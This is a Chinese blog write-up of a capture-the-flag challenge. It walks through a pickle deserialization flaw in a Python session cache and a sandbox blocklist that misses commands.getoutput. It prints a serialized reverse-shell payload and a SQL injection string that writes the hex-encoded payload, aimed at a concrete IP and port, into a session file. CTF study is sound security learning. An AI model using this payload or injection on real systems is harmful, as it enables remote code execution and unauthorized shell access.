看wp復(fù)現(xiàn) 之 強網(wǎng)杯 Python is the best language2

1.觸發(fā)點
other.py

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]

.......

def load(file):
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return Unpkler(file).load()

load()函數(shù)有一個unpkler函數(shù)用于反序列化參數(shù)(file)
如果file可控那么這就是一個反序列化漏洞墓造。
于是追蹤load()函數(shù)
load()在Mycache.py的FileSystemCache類中有多次引用

def get(self, key):
        filename = self._get_filename(key)
        try:
            with open(filename, 'rb') as f:
                pickle_time = load(f)
                if pickle_time == 0 or pickle_time >= time():
                    a = load(f)
                    return a
                else:
                    os.remove(filename)
                    return None
        except (IOError, OSError, PickleError):
            return None

繼續(xù)追蹤_get_filename

def _get_filename(self, key):
    if isinstance(key, text_type):
        key = key.encode('utf-8')  # XXX unicode review
    hash = md5(key).hexdigest()
    return os.path.join(self._path, hash)

可以看到將傳入的字符串key進行MD5镊屎,并將其返回。
追蹤一下key

class FileSystemSessionInterface(SessionInterface):
    ...
    def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
                 use_signer=False, permanent=True):

        self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
        self.key_prefix = key_prefix
        self.use_signer = use_signer
        self.permanent = permanent

    def open_session(self, app, request):
        # 從cookie中獲取到sid
        # 格式 Cookie: session=675b6ec7-95bd-411f-a59d-4c3db5929604
        # sid 即為 675b6ec7-95bd-411f-a59d-4c3db5929604
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self._generate_sid()
            return self.session_class(sid=sid, permanent=self.permanent)
        ...
        data = self.cache.get(self.key_prefix + sid) #重點在這
        if data is not None:
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, permanent=self.permanent)

其中self.key_prefix即為bdwsessions鹏倘,因此假設(shè)cookie中的sesssions為sworder遏片,則self.key_prefix + sid即為bdwsessionssworder嘹害,session文件名就是MD5(bdwsessionssworder),即file達到了可控吮便。

大致思路如下:
1.在本地生成序列化對象(payload)笔呀,并用16進制解碼
2.通過第一關(guān)的sql注入(見參考鏈接),將本地生成的payload,寫入服務(wù)器上的session文件髓需,指定文件名為MD5(bdwsessionssworder),這樣我們在訪問/index的時候把cookie中的session值改為sworder就可以觸發(fā)這個反序列化漏洞了许师。

沙箱逃逸.
此處漏洞無回顯,所以我們就只能選擇命令執(zhí)行來反彈shell

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]

此處過濾了大多數(shù)函數(shù)僚匆,但是commands.getoutput和subprocess.Popen()并沒有過濾
這里構(gòu)造序列化對象的腳本選擇commands.getoutput

import cPickle
import commands

class Exp(object):
    def __reduce__(self):
        return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",)) 
e = Exp()
poc = cPickle.dumps(e)
print  '0x'+poc.encode('hex')

image.png

在注冊處的email里填入sql語句

test'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132302e37372e3230392e313232222c3839383929293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/fcae06115ab1548fa82f1d098e4de59b'#@test.com

注冊后出現(xiàn)Please use a different email address.微渠。說明寫入成功
然后訪問http://39.107.32.29:20000/index
抓包修改session值為sworder

image.png

反彈shell成功
image.png

獲取flag
image.png

參考鏈接:
http://seaii-blog.com/index.php/2018/03/26/79.html
https://xz.aliyun.com/t/2219#toc-5

總結(jié):
還是多看看大佬們的博客,積累積累知識吧

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末咧擂,一起剝皮案震驚了整個濱河市敛助,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌屋确,老刑警劉巖纳击,帶你破解...
    沈念sama閱讀 206,839評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異攻臀,居然都是意外死亡焕数,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,543評論 2 382
  • 文/潘曉璐 我一進店門刨啸,熙熙樓的掌柜王于貴愁眉苦臉地迎上來堡赔,“玉大人,你說我怎么就攤上這事设联∩埔眩” “怎么了灼捂?”我有些...
    開封第一講書人閱讀 153,116評論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長换团。 經(jīng)常有香客問我悉稠,道長,這世上最難降的妖魔是什么艘包? 我笑而不...
    開封第一講書人閱讀 55,371評論 1 279
  • 正文 為了忘掉前任的猛,我火速辦了婚禮,結(jié)果婚禮上想虎,老公的妹妹穿的比我還像新娘卦尊。我一直安慰自己,他們只是感情好舌厨,可當我...
    茶點故事閱讀 64,384評論 5 374
  • 文/花漫 我一把揭開白布岂却。 她就那樣靜靜地躺著,像睡著了一般裙椭。 火紅的嫁衣襯著肌膚如雪躏哩。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,111評論 1 285
  • 那天骇陈,我揣著相機與錄音震庭,去河邊找鬼。 笑死你雌,一個胖子當著我的面吹牛器联,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播婿崭,決...
    沈念sama閱讀 38,416評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼拨拓,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了氓栈?” 一聲冷哼從身側(cè)響起渣磷,我...
    開封第一講書人閱讀 37,053評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎授瘦,沒想到半個月后醋界,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,558評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡提完,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,007評論 2 325
  • 正文 我和宋清朗相戀三年形纺,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片徒欣。...
    茶點故事閱讀 38,117評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡逐样,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情脂新,我是刑警寧澤挪捕,帶...
    沈念sama閱讀 33,756評論 4 324
  • 正文 年R本政府宣布,位于F島的核電站争便,受9級特大地震影響级零,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜始花,卻給世界環(huán)境...
    茶點故事閱讀 39,324評論 3 307
  • 文/蒙蒙 一妄讯、第九天 我趴在偏房一處隱蔽的房頂上張望孩锡。 院中可真熱鬧酷宵,春花似錦、人聲如沸躬窜。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,315評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽荣挨。三九已至男韧,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間默垄,已是汗流浹背此虑。 一陣腳步聲響...
    開封第一講書人閱讀 31,539評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留口锭,地道東北人朦前。 一個月前我還...
    沈念sama閱讀 45,578評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像鹃操,于是被迫代替她去往敵國和親韭寸。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,877評論 2 345

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理荆隘,服務(wù)發(fā)現(xiàn)恩伺,斷路器,智...
    卡卡羅2017閱讀 134,600評論 18 139
  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯誤的地方希望大家多多指出椰拒,多謝多謝 WEB2 點...
    yangc隨想閱讀 54,236評論 11 16
  • Lua 5.1 參考手冊 by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 13,744評論 0 38
  • 好像很快晶渠,又好像很慢。 快燃观,一年了褒脯; 慢,仿佛在昨天仪壮。 人就是糾結(jié)而矛盾著憨颠。 最初因為喜歡,心動,在一起了爽彤; 慢慢...
    Sharing霖妞閱讀 119評論 0 0